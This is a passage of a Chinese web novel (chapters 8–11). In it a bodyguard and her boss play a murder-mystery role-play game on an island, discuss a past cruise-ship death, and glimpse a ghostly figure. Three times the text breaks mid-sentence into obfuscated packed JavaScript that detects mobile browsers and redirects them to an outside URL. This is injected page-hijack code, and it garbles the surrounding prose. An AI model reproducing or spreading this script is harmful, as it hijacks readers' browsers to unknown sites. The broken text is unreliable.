二楼装修成了古旧厢房的模样,中间放着一个圆桌,应该是大家复盘剧情的地方。 圆桌上摆着小李提到的两个玻璃饮料桶,还有一个挺大的保冷锅,里面分别是小李说的绿豆汤、蜂蜜水和杨枝甘露。 傅悠悠坐下美美地各来了一碗。 待她吃饱喝足,一楼也终于热闹起来。 先就听到蓝少杰的声音:“顾总胡总真是帅气。” 辨不清他是在恭维还是真的感叹,傅悠悠从二楼栏杆处往下望,视线略过笑面佛光滑的头顶,看到胡翊风白色飘逸的长袍、斜在身后的佩剑和遮住半边脸的雕花面具。 确实挺帅,像是武侠小说里的蒙面剑客。 而他身边,站着身着坦领汉服的何美,她的衣摆和裙摆上缀着一排银铃,一有动作就发出阵阵脆响。 她上衣进行了改良,短袖露脐,一看就凉快极了,傅悠悠着实羡慕了一阵。 与他俩比起来,蓝少杰和池易的服装就简朴多了,池易灰色粗布衣服外披着一席袈裟,带了僧帽;蓝少杰则是只有一身褐色的粗布衣服。 人到齐了,傅悠悠下到一楼,众人在方晚栀的主持下开始了剧本杀第一幕。 8. 第 8 章 永徽十八年夏至,突降暴雨,几位形色匆匆的赶路人为避雨,躲进了山中寺庙…… “咚咚咚”,佛堂外传来急促敲门声。 住持打开门,见一个蒙面白袍的男人抱着柄长剑站在门外,身上几乎湿透。 “大雨忽至,借宿一宿。”男人说完,不等住持回话,便挤进院中。 住持无奈,只得引他去往佛堂。 佛堂内隐隐有灯光和人声,那是另外三位因大雨借住的路人正在攀谈。 “相逢是缘,咱们互通姓名吧,称呼起来也方便。” “我叫云绮,从西域来,听闻京城有新开张的酒肆重金招舞姬,打算一试。” “柳依依,我与姑娘正好相反,是从京城逃出来的。”柳依依叹口气道。 舞娘云绮听到“逃”字,有些惊讶,忙问:“为何事出逃?” “唉,我是京城富商家的长女,却因家道中落,被父亲许给了一位上了年龄的官老爷做续弦。我不应,一气之下就带了个称心的仆从逃了出来。”柳依依说起这事儿就忍不住哀叹连连。 柳依依的遭遇让云绮一时不知如何安慰,佛堂里静了片刻,一旁的俗家小僧静思捻着一串珠子开了口:“求则得之,舍则失之。柳小姐勇敢坚持己心,为求自由离家,勇气可嘉,定能得汝所求,化险为夷。” 柳依依脸色好了许多,她上前握了静思的手,柔声道谢:“此事困扰我许久,今日听闻静思哥哥之言,豁然开朗。静思哥哥谈吐非凡,做和尚真是可惜了。” 对视之间,两人目光缱绻,直到柳依依的仆从阿沥从旁边轻咳了一声,静思这才反应过来,脸色一红,忙将手抽了出来,念了几句经,闭了眼不再说话。 佛堂门打开,白袍剑客被住持带了进来。 “住持,请问寺中可有吃食?”云绮道,“有些口渴了。” 住持迟疑几秒,看向静思。静思还是闭着眼,眼观鼻鼻观心,似乎已经入定。 “问你有没有吃食,你看他干什么?”剑客闷声道。 住持耐心解释:“施主莫怪,平时寺里就我和静思,吃食并未准备很多……” 见何美似乎真有些口渴,傅悠悠暂时卸下柳依依身份,提醒道:“渴了的话,二楼有喝的哦,苏式绿豆汤还有杨枝甘露,味道都很好!” 顾汲问蹙眉:“你出戏了。” 方晚栀在旁笑道:“只是游戏,又不是拍电影。渴了的话,后面这段咱们上楼边吃喝边演也行。” 大家一阵欢呼,纷纷上了楼。 这次没什么位次讲究,傅悠悠随便找了个座位,用柳依依的姿态仔仔细细敛了衣裙坐下来,向顾汲问招呼,“阿沥,来我身边坐。” “阿沥”坐过去,一碗杨枝甘露放到他面前,旁边又添了个空碗。 “阿沥,我吃不了西米,你帮本小姐把西米挑出来可否。” 虽说君子报仇十年不晚,但傅悠悠报仇就在当晚。 大家吃喝一阵,剧情继续: “雨幕漫漫,长夜无聊,不如云绮姑娘给大家跳一段舞如何?”柳依依道。 “好。”云绮落落大方起身,将背上行囊卸下,四处看去,似乎想寻个安全的地方存放行囊。 “我来帮你拿着。”柳依依伸手接过行囊抱在怀里。 无丝竹伴奏,云绮时急时缓的舞步,节奏鲜明得几乎让人能听到声声鼓点。 每一个动作,都有清脆银铃相携,挂在腰间的美玉坠子随着铃声上下跳动。 舞蹈间,云绮纤细的腰肢在短衫下时隐时现。 住持和静思看了一会便闭目念起经。仆从阿沥也垂着眸子,专心挑着面前碗里的西米。 只有柳依依和剑客目不转睛地看着她身姿轻盈,翻转腾挪。 一舞终了,柳依依鼓掌喝彩。两人又聊了一阵,见夜色已晚,便随静思到了后院。 后院散着五间厢房,住持让静思搬来与自己同住,余下四间正好够四人借住。 阿沥很少能有自己单独的房间,躺在铺板上翻来覆去睡不着,正当这时,门外突然传来几声婉转鸟叫。 雨夜断不会有真的鸟叫,他立刻翻身下床,开了门,果然见柳依依站在门外。 “小姐。”他将她让进屋里。 “没有外人,叫什么小姐,叫师父!”柳依依撩起繁复的裙摆,大马金刀在铺板边上坐下来,“刚才在那个西域舞姬背囊里摸到不少首饰珠宝,明天就从她下手。” 阿沥在柳依依身旁恭敬站着,眼里满满都是崇拜,“师父怎么想到探她行囊的?我看她衣着谈吐并不像富贵人家出身,没想到竟真随身带着珠宝首饰。” 柳依依哼哼两声,得意道:“我见到她腰间那枚碧玉坠子上的图案非常眼熟,仔细回忆了一遭,竟是在恭王府踩点时见过的!” “坠子?恭王府?” “对,那坠子应该是恭王府的东西。这个云绮,绝非一个西域舞姬这么简单。” 柳依依眼睛一眯,笃定地说。 “师父真是这世间最厉害的大盗!”阿沥由衷道。 “那是自然!”柳依依被他夸得心情极好,“明天继续套那个静思的话,那颗名贵佛珠早晚也是咱们的囊中之物!” 阿沥趁她此时开怀,大着胆子道:“师父一定要跟那个小僧靠得那样近吗?我看那小僧心性不坚,万一……” “笨蛋,我这套方法就是对心性不坚的人才有用。你看那住持一副水火不近的样子,我就算脱了衣裳在他面前舞上一圈他也不会有半点反应。而像静思这样还未大悟的人,我柳氏四招用到第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924478|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个招式,就会意乱情迷,把知道的都说出来。” 柳依依大喇喇地给徒弟传授心得,阿沥却早在她说“脱了衣裳”几个字时,就已经脸色绯然,垂了眸子不敢看她,也不应声,不知听进去没有。 看他这样子,柳依依有些恨铁不成钢,抬手在他脑门轻敲了一下:“师父说话,怎么低着头不知回应,我怎么教你的师门规矩?来,我考考你:你还记得柳氏四招都有什么吗?” 阿沥磨蹭半晌,才不情不愿道:“一招触其肌肤,二招仿其言行,三招独处相谈,四招险境相救。此四招对淫心动摇之人十分管用,四招尽用,无所不招……可是师父,咱们非得用这种魅人淫心的招式吗?师父武艺独绝,直接将人绑了严刑逼问,夺宝而去,岂不光明正大?” “笨蛋!如你说的这般行事,那是强盗。哼,劫盗之人不仅夺财还伤人,比咱们下作得多。我柳依依家乡受灾无奈入窃行,一向只求钱财,从未想过伤人。再说,武艺剑法是以攻对手招式薄弱处,我柳氏四招亦是攻对方心性薄弱处,一样的道理,怎么就不光明正大了?” 柳依依越说越气,长袖一甩怒道:“你若看不上我柳门,去拜那些山大王为师好了!” 阿沥这人心眼有几分实,向来辨不清真话气话,见柳依依要将他逐出师门,顿时慌了神,咕咚一声跪下,抓了她的袖尖认错道:“师父,阿沥知错了。阿沥心里师父是这世间最良善的人,不仅救下非亲非故的阿沥,还肯收我为徒,分我一口食粮……阿沥只是不想……” 不知为何,他话说到一半就说不下去了。 阿沥比柳依依年少几岁,最初收他为徒时,他刚过及笄,被饥荒折磨得枯瘦,比她还矮上几头。 他那时很依赖柳依依,总是跟在她身边讨嫌。 柳依依父母家人早早在饥荒里丢了命,她习惯了一个人过活,突然多出个跟屁虫,她多少会有些厌烦,于是对他总是十分苛刻,有一点过错就要他跪了认错挨鞭子。 这几年阿沥身体开始抽条,已经比柳依依高出许多,也有了分寸,不再像之前那样缠着她,但这动不动就跪下认错的习惯还一直没改掉。 高高壮壮的青年跪在地上,仰面看着她一脸惶恐与祈求,柳依依心下不忍,将他从地上拉起,语气软了不少:“阿沥,我知你没有恶意。只是,你我这一行跟光明正大无缘,不义之财何谈光明,匪盗之徒如何正大?你为贼盗却追求光明正大,就是跟自己过不去。做人第一要义就是得先接受自己,跟为师一同成为江湖第一侠盗未尝不是一场快意人生。” 阿沥似懂非懂点头,师父的形象似乎又高深了许多。 两人约定好行动时间,阿沥恭敬地退出去回了自己房间。 夜半,雨声淋漓,一个身影悄悄靠近舞姬云绮的房间…… 9. 第 9 章 “好,第一幕结束。”方晚栀宣布,“现在是复盘时间。” “悠悠你演得真好,从动作到语气,突然像换了个人似的,瞬间从大小姐变脸大姐大,怪吓人嘞。”何美婆娑着胸口,“你演的这个人到底是什么身份?” 傅悠悠摇头:“这个我剧本里也没有写,明面上的身份就是逃婚的富家千金,真实身份可能得靠咱们复盘推断一下。不过根据柳依依和阿沥的对话,这两个人很明显是江洋大盗师徒。” 方晚栀笑道:“悠悠很上道嘛,完全看不出是第一次玩。对了,顺便一提,胡总给咱们准备的这个剧本,每个人都有隐藏的身份,现在大家剧本上标的都是虚假身份,真相就靠你们从细节里发现了。” “每个人都有隐藏身份啊……”胡翊风右手按在太阳穴上,思考片刻道,“那关于云绮的真实身份,这个恭王府玉佩肯定是一个突破口。” “云绮会不会也是江洋大盗?”池易支着下巴,“她的那个玉佩说不定是从恭王府偷的。” “……一个智力正常的小偷不会把赃物挂自己身上的。”顾汲问连一丝嫌弃的眼神都懒得给他。 刚才剧本杀演到一半,他就“拒演”了,后来阿沥到柳依依房间对话那段,他都在面无表情念台词。 开始dm方晚栀还有些不满,后来看剧情里有下跪认错的情节,大家也就没什么意见了。 毕竟,顾汲问一脸委屈地下跪认错这种场景,光是想一想就能让人起一身鸡皮疙瘩,还是不看为妙。 这会儿,他将手边略大的碗推到傅悠悠面前。 碗里装的是他一边面无表情念台词,一边挑好的无西米版杨枝甘露。 放下小勺,他开口分析道:“关于剑客我有一个猜想。剑客的设定是带着面具的,一般蒙面都是为了隐藏身份。由此我怀疑剑客可能是在场几位认识的人,或者是朝廷通缉的犯人。” 傅悠悠点头,一勺一勺吃着没有西米的杨枝甘露,慢悠悠道:“另外,静思说的那句话也值得推敲,出家人讲究的是清静无为,他却跟柳依依说’求则得之’,他很可能并非俗家小僧,而是个念四书五经的读书人。” “那住持为什么要隐瞒他的身份?”何美不解。 “有可能,住持自己也并不知道他的身份。晚栀姐刚才说过了,这里面每个人都有隐藏身份,这个住持估计也并非真住持。” “那这个寺庙原本的主持和僧人——”何美说着,突然像是想到了什么,脸色一白,“细思极恐啊!” 傅悠悠笑道:“也不一定是遭遇了不测。这寺庙也有可能原本就是废弃的。” 开场第一幕给出的信息并不多,大家很快就结束了复盘,起身前,傅悠悠伸手拿起顾汲问面前那碗晶莹剔透的西米,几口吃光,腮帮子鼓鼓地嚼啊嚼。 顾汲问蹙眉:“……你不是说自己不吃西米?” “那是剧本里的设定。柳依依吃不得,傅悠悠却吃得。”傅悠悠摇头晃脑地胡说八道,发髻上簪的坠子跟着一晃一晃。 顾汲问:“……” 旁边胡翊风听到,凑上来问:“你剧本里连不吃西米都写?设定这么细,该不会就是凶手吧。给我看看你剧本。” 傅悠悠忙把剧本护到怀里:“游戏规则之一:剧本保密。哎,发第二幕剧本了,胡总还是先去看自己的剧本吧。” 剧本杀暂告段落,一行人去往南院别墅餐厅用晚餐。 南院在岛上算是活动中心,面积比别的院落都大,不光别墅大厅里准备了棋牌台球等各种活动设施,别墅后面还有一处室内温泉。 饭后,时间还早,胡翊风提议大家一起打个牌娱乐一下。 大家欣然接受,只有池易表示自己有些疲惫,提前回了住处。 胡翊风、何美、方晚栀和蓝少杰四人很快就坐到了牌桌前。 “汲问、悠悠快来。”方晚栀招呼他俩。 顾汲问坐回沙发,用遥控器点开墙上的巨幕电视。 “你们玩,我看会儿新闻。” 傅悠悠凑到牌桌前:“我什么牌都不会,你们先玩,我观摩一下。” 她留下来就是想趁机跟顾汲问攀谈几句,看能不能套出与旧案有关的话,一旦参与进牌局,可就什么都做不了。 她在牌桌前一边看几人打牌,一边留意顾汲问的状态,想等他放松下来就过去搭话。 他似乎看新闻看得很专注,牌桌上声音有些大,他特意将音量调高了些。 忽然,背后的电视上新闻内容突然吸引了傅悠悠的注意。 “今日,我国痕迹检测领域迎来新突破。随着刑侦科技发展,一种新的中子检测技术应运而生。利用这种技术,哪怕证物经过擦拭,痕检部分也可以从证物中提取到触碰人留下的生物痕迹,哪怕只是极微量,也能够结合基因库锁定嫌犯身份。尤其是更容易发生渗透作用的木制品,犯人的生物痕迹甚至可以在表层以内保留四到五年。” 这新闻不仅吸引了傅悠悠的注意力,连牌桌上几个人都停下了动作。 “现在科技真是发展太快了。”何美道。 “这是不是意味着,咱们要找的那枚佛珠上说不定能检测出当年那起案子的线索了?”蓝少杰说着,眼睛仍盯在牌桌上。 “有什么用,哪个犯人作案的时候不戴手套?”胡翊风不屑地甩出一张牌。 方晚栀扭头看向顾汲问:“汲问,警察不会突然把佛珠收回去吧?这活动才刚开始。” 顾汲问刚要开口,手机突然响起铃声。 牌桌上的人立刻静下来,几道目光齐齐聚向那个屏幕亮起的手机。 这么巧?该不会是警方拨来要叫停活动的电话吧? 顾汲问拿起手机看了一眼来电显示,随即接通:“裴医生。” 听筒对面的人不知说了什么,他脸色一沉,向门外走去。 牌桌上几人继续出牌,但思绪却还停留在刚才。 蓝少杰长出一口气,“看来不是警方追回证物的电话。” 方晚栀看着顾汲问的背影,眼神中显露担忧:“驻家医生这么晚打电话,说不定是老顾总身体抱恙。” 何美:“老顾总是顾总的爸?” 据她所知,老顾总的年龄与胡翊风父亲的年龄相差无几,都年近七十了。 “是祖父。”胡翊风摇头笑道,“不是谁都跟我爸一样窝囊,被双胞胎弟弟打压陷害十几年,斗到四十多了才翻身立业,老来成家老来得子。人家顾老爷子,从年轻时候就杀伐果断,早早独揽大权,结婚生子都很早。” 方晚栀王牌桌上丢出一张Joker:“要论心狠,你爸对待翊云可比老顾总心狠多了。顾汲问再怎么折腾,老顾总都照单全收,折腾够了,一句想回归顾氏,立刻就空降核心部门。再看看翊云兢兢业业这么多年,还是处处遇冷。” 说到这,她叹了口气:“我看你没有接手集团的打算,就不能从中周旋,缓和一下你爸和你弟之间的关系?” 这些话当着胡翊云的面不能说,但她常在心里替发小鸣不平。 都是胡家的血脉,甚至连生辰、长相都一样,待遇却天差地别。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924479|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 胡翊风不管如何放纵,都能被轻易原谅,甚至最近还传言老胡总已经力排众议,立好遗嘱将家族话事权和集团60%的股份全部给他。 而胡翊云不管再怎么谨慎勤勉,最终也只能在集团周边业务打转。 胡翊风勾唇笑了笑:“这事儿我说了不算。年轻时候受过苦的人,多少会有点PTSD,不巧我爸的心理阴影就在他双胞胎弟弟身上。偏偏胡翊云在娘胎的时候就抢我营养,据说我爸看着当见黄漆漆皱巴巴的我,当场就哭了。” “哭了?为什么?”何美有些意外。 “代入自己了呗,觉得我跟他当年很像,都被双胞胎弟弟抢夺资源。”胡翊风甩出一组炸弹,“所以啊,我再怎么调解,我爸照样还是会对我们两个区别对待。这个世界上,没有人会亏待了自己。而且我越让步,只会让我爸越偏爱我,还不如什么都不做。” “怪不得你和胡翊云的待遇相差这么多,原来还有这段往事。”何美点了点头,愣了片刻又问,“那老顾总怎么直接把集团传给孙辈了?” 方晚栀轻叹一口气:“老顾总的三个儿女没一个能留在身边,顾汲问的大伯和姑姑都出国发展了,顾汲问爸爸又英年早逝,所以集团只能早早就传给孙辈。幸亏顾汲问同意回来接手,不然顾氏集团早晚毁在顾汲望和顾汲惬手里。” 胡翊风笑:“这说不定就是因果报应,你记不记得老顾总年轻的时候为了搞垄断竞争,把很多小企业逼到破产,当时甚至有小企业主想不开自杀。” 方晚栀赶紧抬手,示意胡翊风慎言。当时那件事对顾汲问影响很大,成了他离开顾家的导火索,没人敢在他面前再提。 她往虚掩着的大门处瞥了一眼,好在顾汲问还站在外面通话,没有要进来的意思。 傅悠悠贴着墙站在玄关阴影中,看似是在尽保镖义务,实际上在默默留意门外的通话内容。 驻家医生的电话为什么要去无人的地方接?她直觉这电话并没有那么简单。 “你说从祖父抽屉里发现了什么?”顾汲问站在夜色中,看不清表情,但声音却冷得吓人。 “私人侦探……车祸调查报告……”话筒音量被调得很低,傅悠悠把耳朵凑到门缝边才勉强听到断续的几个词。 顾汲问沉默了半晌,才开口问:“为什么要告诉我?” 这次傅悠悠听清了电话里的声音:“因为车祸死者名单上有老顾总次子顾黎的名字,我想顾总或许有权了解。” 顾黎就是顾汲问父亲。 昏黄灯光勾勒下,傅悠悠看到顾汲问的后背肌肉逐渐绷紧。 电话那头还在继续:“被调查人一栏写的是老顾总长子顾健。而调查结果显示顾健正是那起肇事逃逸案的背后指使人。” 肇事逃逸案…… 傅悠悠想起一些往事,呼吸有些乱。 她的父亲也死于一场肇事逃逸案。 虽然已经过去十年,但每次想起那个无妄之灾,心里还是犹如利刃搅动。 她抬手抚着胸口挂坠,蓦地想起姐姐带她去看父亲最后一眼的情景,眼眶忽然灼热。 恰在这时,大门推开,顾汲问已经挂断电话走了进来。 他面色苍白,根本没有注意到站在玄关偷听的傅悠悠,对牌桌上的几人说了句:“我去泡温泉。”径直穿过大厅,从别墅后门出去,走向后院温泉馆。 傅悠悠平复呼吸,手背擦一下眼角,趁牌桌上几人没有留意悄然跟了过去。 如果想搞清楚顾汲问手套底下到底藏着什么,这是一个绝佳的机会。 10. 第 10 章 温泉池分男汤女汤,中间以公共区域连通。 傅悠悠快速穿过更衣室和女汤,一眼看到顾汲问披着浴巾坐在公共区域的汗蒸间里。 她推开门,屋内带着水汽的热浪很快将她包裹,潮热中隐约可以嗅到酒味。 顾汲问仰头喝一口手里的威士忌,抬眼看她,“你真是一个很称职的保镖。” 不知是酒精作用,还是因为周遭缭绕的雾气,顾汲问的眼神似乎比平时柔和许多,还带了几分颓废。 看着这样的眼神,同样遭遇过父亲突然离世的傅悠悠心里一瞬柔软。 但很快她就清醒起来。 不管怎么说,他仍是三年前案子的最大嫌疑人。 而且很有可能是前天弄晕她的那个私闯者。 傅悠悠想起自己的来意,稳下心神,向他走过去。 “嗯,我得确保您的安全。”她走到他旁边站定,视线落在他左手上。 手套摘掉,他左手搭在大理石坐板上,只能看到手背,上面皮肤光洁没有任何结痂或伤口,甚至因为常年避光,比手腕皮肤还更白皙一些。 “别一直看着,想坐就坐吧。这里很安全,不用你站岗。”顾汲问误以为她盯着坐板,抬手拍拍身侧位置,又晃了晃手里喝到一半的威士忌,“外面酒柜有酒,想喝可以去拿。” “不必了顾总,工作中不能喝酒。”傅悠悠站着没动。 剧本杀互动一结束,她就换回了方便行动的T恤短裤,这会儿棉质衣料被水汽一蒸,湿哒哒沾在身上,要坐下实在不怎么舒服。 “那可以陪我坐会儿吗?”浓重水雾中,顾汲问的眼神让傅悠悠很难拒绝,最终还是在他旁边坐下。 很长一段时间里,两人谁都没有开口。 顾汲问一口一口喝着手里的酒,傅悠悠则透过对面的玻璃墙默默看着外面的夜空。 这面单向玻璃墙嵌在院墙中,汗蒸间的人能透过玻璃看到中央花园的小路和植被,外面的人却看不到里面。 夜空下,中央花园静逸而神秘,傅悠悠看得有些出神。 直到身旁的顾汲问突然发问:“刚才那通电话的内容,你都听到了,对吧。” 她有些慌乱,回头看向顾汲问,见他视线也投向玻璃幕墙外的夜空,酒精作用下他的眼神有些迷蒙,并没有发怒或者质问她的意思。 傅悠悠定了定神,点头承认:“嗯,抱歉。” “在真相查明以前,先不要对其他人说。” 没有愤怒,也没有威胁,顾汲问只是苦笑着嘱了一句,将瓶中的酒饮尽,抬起左手擦了一下嘴角。 手落下的一瞬间,傅悠悠终于看到他掌心的伤痕。 不是她在慌乱中留下的抓痕,而是细密如织的线痕。 准确的说,是伤口痊愈后泛白的痕迹,一道道如细线交错,像一张绝望的网。 是自伤的痕迹。 顾汲问手套下遮掩的竟然是这样的痕迹! 傅悠悠突然觉得此刻的他像一只脱去外壳的蜗牛,脆弱得一塌糊涂。 把淡漠冷血的顾汲问比作脱了壳的蜗牛,她一定是疯了。 那就干脆疯得再彻底一点。 凭借某种或许是错觉的直觉,她直接将话题引向三年前的旧案:“顾总,晚餐时大家提起的那个案子,你作为嫌疑人被警方调查过?” 顾汲问没想到她会突然提前那件事,愣怔片刻,点了点头:“嗯。” 拳头攥起又松开,她将心里盘恒已久的疑问直接问出了口:“我很想知道,当时警方将你列为嫌疑人到底是因为什么?” 即便是与死者有利益关系,人不在案发游轮上,也不应该被警方怀疑。 她正是因为这一点怀疑警方掌握了他买凶的证据。 没有犹豫,也没有反问她的目的,顾汲问直接开口道:“因为原本要去参加那场游轮拍卖会的人是我,房间预订人也是我。” 他说着,垂下眸子,眼睛里涌动着复杂的情绪:“只是因为一些事情,我不得不在登船前临时将这件事委托给了合伙人。这在警方看来,确实有买凶杀人的嫌疑。” 所以她本不必死在那间颠簸于海浪中的客房…… 傅悠悠愣了一下,心底涌出莫名情绪。 “所以警方为什么又排除掉你的嫌疑?” “他们在我这里没有查到可疑的资金流水,而且我临时改变登船计划是因为祖父秘书突然联系我说祖父病重。” 傅悠悠了然点头:“这件事是你提前无法预测的,所以排除了你的嫌疑。” 顾汲问苦笑着点头,“如果能够提前预测,我怎么也不会让蒋饶姐登上那艘游轮。” 这一刻,傅悠悠突然看清了他晦暗眸子中的神色。 不是计划得逞的得意,不是逃过一劫的庆幸。 而是内疚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924480|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是如泥沼般不断吞噬自我的反复怀疑与假设。 “我应该想到的,如果祖父真的病危,怎么会是秘书而不是裴医生联系我呢?” “那个凶手原本的目标或许从一开始就是我,什么偷窃珠宝都是幌子。那晚死掉的人,本应该是我……” 顾汲问将头埋得很低,断断续续地低喃。 这种令人窒息的情绪,傅悠悠太熟悉了,熟悉到一眼就能判断真假。 顾汲问的眼神与表情不是装的,他是真真切切认为三年前死掉的应该是自己,并因此在自责的沼泽中挣扎至今。 就在这一瞬间,傅悠悠放下了对他的所有怀疑。 当年警察或许也是因为他这份无解的内疚,才真正排除了他的嫌疑。她突然想。 傅悠悠不忍再看他这种状态,起身扶他:“时间不早了,顾总,我扶你回去休息吧。” 顾汲问视线有些模糊,抬头的瞬间竟恍惚看到三年前去世的合伙人蒋饶在俯身看着他。 手中的空酒瓶哐啷一声落在坐板上,他紧紧抓住面前人的双手,将头埋在对方肩头。 傅悠悠没料到他会突然靠近,想伸手推开,却听他在耳边低喃:“蒋饶姐,对不起……” 紧接着,一股温热在她的肩膀洇开。 那个不苟言笑的顾汲问竟然伏在她肩头哭了。 傅悠悠心意微动,想推开他的手慢慢落回到他背上。 “要道歉的不是你,而是凶手。” 顾汲问刚才沉浸在过去的回忆中,加上酒意上头,将傅悠悠认错。 这会儿听到她说话的声音,瞬间清醒过来。 他一向自律,很少借酒消愁。 这次接到裴医生的电话,实在心乱,才拿了瓶威士忌喝。 没想到竟然借着酒意找保镖倒起黑泥,甚至昏了头借人家肩膀来靠。 这跟发酒疯xing骚扰下属的油腻领导有什么区别…… 他一边懊恼,一边祈祷对方不要误会他别有用心。 恰在这时,耳侧响起傅悠悠的声音:“真是见鬼了。” 终究还是被误会了。 他噌地松开傅悠悠,尴尬道歉:“抱歉,我——” “不是说你。”傅悠悠眼睛盯着汗蒸室的单向玻璃墙,“是真的见鬼了。” 顾汲问顺着她的视线看过去,一个白袍及地长发遮脸的身影一闪而过。 11. 第 11 章 顾汲问顺着她的视线看过去,一个身影从窗外一闪而过。 白袍及地,长发遮脸。这身影跟傅悠悠晚餐时编的鬼魂一模一样。 这件事过于言出法随,傅悠悠甚至怀疑是自己太过疲劳出现了幻觉。 “你也看到了吗,顾总?” 顾汲问这回酒彻底醒了:“嗯,好没有新意的鬼。” 确认并非幻觉,傅悠悠立刻飞身去追。 她冲出温泉馆,利落地翻上院墙,四下张望。 夜色平静,再看不到那个“鬼影”。 “别找了,那‘鬼影’速度很快。”顾汲问也追了过来。 傅悠悠回忆了一下刚才的情景。 确实那鬼影移动的速度比正常人走路的速度快出许多,更瘆人的是,她没有在那白袍之下看到双腿交替的动作。 也就是说,它以超乎常人的速度直接飘过他们眼前。 “没想到,你前天看到的私闯者真长这样,我以为你是瞎编的。”顾汲问蹙眉。 傅悠悠:“……”她确实是瞎编的,但一时很难跟他解释清楚。 或者说她自己也根本说不清到底是怎么回事。 好多事情纠缠到了一起,理不出头绪。 三年前案子最大的嫌疑人顾汲问似乎没有了嫌疑;私闯者线索随着他手心伤痕的显露也断掉了;现在又多出来了一个莫名其妙的“鬼影”。 她最后看了一眼鬼影“飘”去的方向。 那条路通往岛东的海边沙滩。 “你说这世界上真的会有鬼吗?”她跳下院墙,拍拍手心的灰。 顾汲问:“你觉得呢?” “说不清,但我希望有。这样或许我还能再见到那些我想见的人。”傅悠悠说着抚了抚胸口。 顾汲问点头:“我也希望如此。因为人心比鬼可怕百倍。” 正说着,手机响起,是傅悠悠的来电铃声。 只是这铃声是从顾汲问脚边草丛里传来的。 她这才想起,刚才追那鬼影追得太急,匆忙中似乎有东西从口袋里掉了出来,原来是她的手机。 顾汲问将手机捡起,递还给她。 傅悠悠道着谢接过,指尖轻轻从他手心划过。 不知为何,顾汲问脑海中蓦地浮现刚才剧本杀里阿沥背过的柳氏四招:第一招触其肌肤…… 微痒带着一点温热从手心一路传到心脏,他用另一只手的拇指揉了揉手心。 刚才他无意间瞥见来电显示写着“好乖”,照片里是一个带着头盔、骑在重型机车上的长腿男人,姿态很酷,是女生们会喜欢的类型。 是男朋友吗? 没来由的,他心里泛起一阵烦躁。 “嗯嗯,一切平安。对了有件事想请你帮忙,一会我短信发给你。” 傅悠悠瞥了一眼顾汲问,很快电话挂断。 来电人是她的邻居兼学姐郝乖。 出发前她曾拜托她每天晚上给她打一个电话,如果没接说明她可能已经遇险,就尽快联系警察。 没想到她第一晚打来电话就被顾汲问看到了。 不过好在顾汲问并没有多问,两人各自想着心事返回了住处。 早上三点半,傅悠悠被敲门声吵醒。 她打着哈欠,推开房门,只见顾汲问已经穿戴整齐站在门口了。 “该出发了。” “出发?出什么发?”傅悠悠睡得有些懵。 “今天早上第一个项目是要早起去东南角沙滩看日出,昨晚说过的。”顾汲问低头看了一眼手表,“约好三点五十集合,你还有十五分钟的准备时间。” “不去。”傅悠悠房门被毫不留情地关上。 顾汲问站在门口没动,就好像知道她很快就会改变主意。 果然几秒钟后,房门被再次打开。 “还是去吧。”傅悠悠叹了口气,“等我十分钟。” 昨天晚上看到的鬼影就是往东“飘”过去的,而且东南角沙滩是碧竹岛唯一一处沙滩,很有可能就是前天那个私闯者的上岛地点。 她得去看看。 仲夏的凌晨不冷,傅悠悠套上薄运动服,跑进卫生间,简单扎个马尾,用冷水洗了把脸,胡乱擦了一下,发梢还带着水珠就冲出了房门,“出发吧。” 顾汲问看了她一眼,掏出一张纸巾递给她:“擦擦头发上的水。” 冰山老板突然“阿沥化”,傅悠悠有点不适应,但还是道了谢接过纸巾。 半小时后,一行人来到了岛东头的观景台上。 与傅悠悠和顾汲问一起的,还有方晚栀、胡翊风、池易和蓝少杰。 何美在群里请了假,说自己昨晚玩到太晚实在起不来。 这次开车的是方晚栀,她驾车蛮稳,转弯都很平缓,顾汲问只是下车的时候脸色有点苍白,并没有像前一天那样难受干呕。 坐下没一会儿,天海相接的地方冒出一点紫红。 海面在朝霞的映衬下,更加沉黑肃穆。 傅悠悠看着如墨翻涌的海浪,耳边潮声起伏,她忽然有种随着海面漂浮的错觉。 有这种感觉的不止她一个。 “这里很像凌晨空荡荡的轮船甲板。”坐在她旁边的蓝少杰望着天边有些出神。 傅悠悠眼神从海面收回来,侧眸看他,“是吗?我没坐过游轮。蓝先生之前在拍卖行工作的时候,时常可以坐游轮吧?” 蓝少杰愣了一下,转头看她。 她的笑很自然,眼神清澈得能望到眼底。 刚才感受到的那束犀利的试探眼神,应该是错觉吧。 在心里自嘲片刻,他放松下来,点了点头:“对。” “那后来为什么不干了呢——” 话没说完,旁边传来方晚栀的欢呼声。 “快看,太阳出来了。” 气 